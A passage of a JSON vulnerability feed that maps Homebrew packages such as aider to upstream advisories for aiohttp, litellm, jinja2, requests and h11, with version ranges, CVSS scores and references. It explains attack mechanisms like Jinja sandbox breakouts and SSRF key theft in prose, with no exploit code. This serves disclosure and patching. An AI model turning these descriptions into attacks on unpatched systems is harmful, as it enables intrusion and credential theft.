https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-69244","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T17:33:08Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]}],"aider":[{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-10188","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gw2q-qw9j-rgv7","CVE-2024-10188","PYSEC-2026-1549"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.53.1.dev1","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Vulnerable to Denial of Service (DoS)","details":"A vulnerability in BerriAI/litellm, as of commit 26c03c9, allows unauthenticated users to cause a Denial of Service (DoS) by exploiting the use of ast.literal_eval to parse user input. This function is not safe and is prone to DoS attacks, which can crash the litellm Python server.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-10188"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/21156ff5d0d84a7dd93f951ca033275c77e4f73c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/96a32812-213c-4819-ba4e-36143d35e95b"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-42367","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-jwhx-xcg6-8xhj","CVE-2024-42367","PYSEC-2026-1108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.48.0"},{"fixed":"0.49.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"In aiohttp, compressed files as symlinks are not protected from path traversal","details":"### Summary\nStatic routes which contain files with compressed variants (`.gz` or `.br` extension) were vulnerable to path traversal outside the root directory if those variants are symbolic links.\n\n### Details\nThe server protects static routes from path traversal outside the root directory when `follow_symlinks=False` (default). It does this by resolving the requested URL to an absolute path and then checking that path relative to the root. However, these checks are not performed when looking for compressed variants in the `FileResponse` class, and symbolic links are then automatically followed when performing `Path.stat()` and `Path.open()` to send the file.\n\n### Impact\nServers with static routes that contain compressed variants as symbolic links, pointing outside the root directory, or that permit users to upload or create such links, are impacted.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8653/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-42367"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8653"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_fileresponse.py#L177"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_urldispatcher.py#L674"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-47081","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.85.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-52303","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.61.0"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-52304","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-56201","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.74.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-56326","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.74.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-6587","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g26j-5385-hhw3","CVE-2024-6587","PYSEC-2026-1547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.57.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.44.8","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Server-Side Request Forgery (SSRF) vulnerability","details":"A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. This vulnerability allows users to specify the `api_base` parameter when making requests to `POST /chat/completions`, causing the application to send the request to the domain specified by `api_base`. This request includes the OpenAI API key. A malicious user can set the `api_base` to their own domain and intercept the OpenAI API key, leading to unauthorized access and potential misuse of the API key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-6587"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/ba1912afd1b19e38d3704bb156adf887f91ae1e0"},{"type":"PACKAGE","url":"https://github.com/berriai/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-8984","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fh2c-86xm-pm2x","CVE-2024-8984","PYSEC-2026-1545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.71.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.56.2","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Vulnerable to Denial of Service (DoS) via Crafted HTTP Request","details":"A Denial of Service (DoS) vulnerability exists in berriai/litellm version v1.44.5. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8984"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/4f49f836aa844ac9b6bfbeff27e6f6b2b9cf3f61"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/blob/8c5ff150f6142608ffe968e4e68429f978fda187/litellm/tests/test_spend_logs.py#L242"},{"type":"WEB","url":"https://huntr.com/bounties/554fc76b-3097-4223-b4cf-110b853e9355"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-9606","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g5pg-73fc-hjwq","CVE-2024-9606","PYSEC-2026-1548"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.57.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.44.12","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Reveals Portion of API Key via a Logging File","details":"In berriai/litellm before version 1.44.12, the `litellm/litellm_core_utils/litellm_logging.py` file contains a vulnerability where the API key masking code only masks the first 5 characters of the key. This results in the leakage of almost the entire API key in the logs, exposing a significant amount of the secret key. The issue affects version v1.44.9.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9606"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/9094071c4782183e84f10630e2450be3db55509a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/4a03796f-a8d4-4293-84ef-d3959456223a"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-0330","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-879v-fggm-vxw2","CVE-2025-0330","PYSEC-2026-1543"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Has a Leakage of Langfuse API Keys","details":"In berriai/litellm version v1.52.1, an issue in proxy_server.py causes the leakage of Langfuse API keys when an error occurs while parsing team settings. This vulnerability exposes sensitive information, including langfuse_secret and langfuse_public_key, which can provide full access to the Langfuse project storing all requests.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-0330"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/661b388a-44d8-4ad5-862b-4dc5b80be30a"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-0628","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fjcf-3j3r-78rp","CVE-2025-0628","PYSEC-2026-1546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.75.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.61.15","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Has an Improper Authorization Vulnerability","details":"An improper authorization vulnerability exists in the main-latest version of BerriAI/litellm. When a user with the role 'internal_user_viewer' logs into the application, they are provided with an overly privileged API key. This key can be used to access all the admin functionality of the application, including endpoints such as '/users/list' and '/users/get_users'. This vulnerability allows for privilege escalation within the application, enabling any account to become a PROXY ADMIN.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-0628"},{"type":"WEB","url":"https://github.com/berriai/litellm/commit/566d9354aab4215091b2e51ad0333e948125fa1b"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://huntr.com/bounties/6c0e2f75-2d03-42f9-9530-e16a973317fc"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-27516","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.76.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-43859","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-vqfr-h8mv-ghfj","CVE-2025-43859","PYSEC-2026-348"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.83.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.16.0","resource":"h11","resource_purl":"pkg:pypi/h11@0.16.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"h11","subject_version":"0.16.0","key":"pkg:pypi/h11@0.16.0","resource":"h11"}]},"summary":"h11 accepts some malformed Chunked-Encoding bodies","details":"### Impact\n\nA leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate 